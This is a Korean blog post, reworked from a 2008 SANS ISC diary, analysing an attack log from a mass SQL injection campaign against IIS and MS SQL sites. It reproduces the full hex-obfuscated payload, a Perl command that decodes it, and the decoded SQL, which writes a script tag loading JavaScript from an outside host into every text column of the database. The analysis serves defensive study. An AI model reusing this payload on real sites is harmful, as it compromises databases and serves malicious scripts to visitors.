본 글은 isc.sans.org에 올라온 글을 참조해서 재구성한 것이다.
다음 로그는 공격로그의 한 부분이다. 공격 로그 중 SQL 구문이 GET 부분에 들어가 있는 것을 볼 수 있다.

GET /home/site_content_3.asp

s=290';DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x6400650063006C00610072006500200040006D0020007600610072006300680061007200

2800380030003000300029003B00730065007400200040006D003D00270027003B007300650

06C00650063007400200040006D003D0040006D002B0027007500700064006100740065005B

0027002B0061002E006E0061006D0065002B0027005D007300650074005B0027002B0062002

E006E0061006D0065002B0027005D003D0072007400720069006D00280063006F006E007600

650072007400280076006100720063006800610072002C0027002B0062002E006E0061006D0

065002B002700290029002B00270027003C0073006300720069007000740020007300720063

003D00220068007400740070003A002F002F0079006C00310038002E006E00650074002F003

0002E006A00730022003E003C002F007300630072006900700074003E00270027003B002700

2000660072006F006D002000640062006F002E007300790073006F0062006A0065006300740

07300200061002C00640062006F002E0073007900730063006F006C0075006D006E00730020

0062002C00640062006F002E007300790073007400790070006500730020006300200077006

800650072006500200061002E00690064003D0062002E0069006400200061006E0064002000

61002E00780074007900700065003D0027005500270061006E006400200062002E007800740

07900700065003D0063002E0078007400790070006500200061006E006400200063002E006E

0061006D0065003D002700760061007200630068006100720027003B0073006500740020004

0006D003D005200450056004500520053004500280040006D0029003B007300650074002000

40006D003D0073007500620073007400720069006E006700280040006D002C0050004100540

049004E004400450058002800270025003B00250027002C0040006D0029002C003800300030

00300029003B00730065007400200040006D003D00520045005600450052005300450028004

0006D0029003B006500780065006300280040006D0029003B00%20AS%20NVARCHAR(4000));EXEC(@S);--


위에서 보다시피 실제 구문은 인코딩되어 있어 금방은 알 수 없게 했다.
공격자는 CAST 구분을 사용해서 공격을 쉽게 탐지하지 못하도록 혼란 공격(Obfuscate Attack) 기법을 사용하고 있다.
CAST 구문은 타입을 다른 타입으로 Convert 시켜주는 역할을 한다.
CAST 된 구문은 "@S"의 Input 되고 실행이 된다.

이 코드를 아래 펄 명령어를 사용해서 디코딩한 것이 다음과 같다.

$ perl -pe 's/(..)00/chr(hex($1))/ge' < input > output


[디코딩 결과]

declare @m varchar(8000);set @m='';select @m=@m+'update['+a.name+']set['+b.name+']=rtrim(convert(varchar,'+b.name+'))+''<script src="http://yl18.net/0.js"></script>'';'
from dbo.sysobjects a,dbo.syscolumns b,dbo.systypes c where a.id=b.id and a.xtype='U'and b.xtype=c.xtype and c.name='varchar';
set @m=REVERSE(@m);set @m=substring(@m,PATINDEX('%;%',@m),8000);set @m=REVERSE(@m);exec(@m);


이 SQL 구문은 sysobject 테이블을 type U(User) 테이블의 모든 row를 가져오는 것이다.
결국 각 오브젝트에 yl18.net. 사이트 주소 코드를 추가하도록 업데이트 명령을 실행 시키는 구문이다.
이 공격을 받은 웹 사이트는 IIS와 MS SQL 서버가 설치된 경우이다. 특히 주목할 것이 바로 Evading을 하기 위해서 CAST나 CONVERT 명령어를 쓴다는데 유의해야 한다. 

[원문]

Published: 2008-01-09,
Last Updated: 2008-01-09 09:05:44 UTC
by Bojan Zdrnja (Version: 1)
http://isc.incidents.org/diary.html?storyid=3823

'Databases' 카테고리의 다른 글

Mass SQL-Injectio  (0) 2008.10.22
MASS SQL Injection 에 대한 DB 복구  (0) 2008.10.22
관련 테이블 소유자 변경하기  (0) 2008.09.25
참고 정보  (0) 2008.09.22
ORACLE - 리터럴 SQL 인젝션(lateral SQL injection)  (0) 2008.04.30

+ Recent posts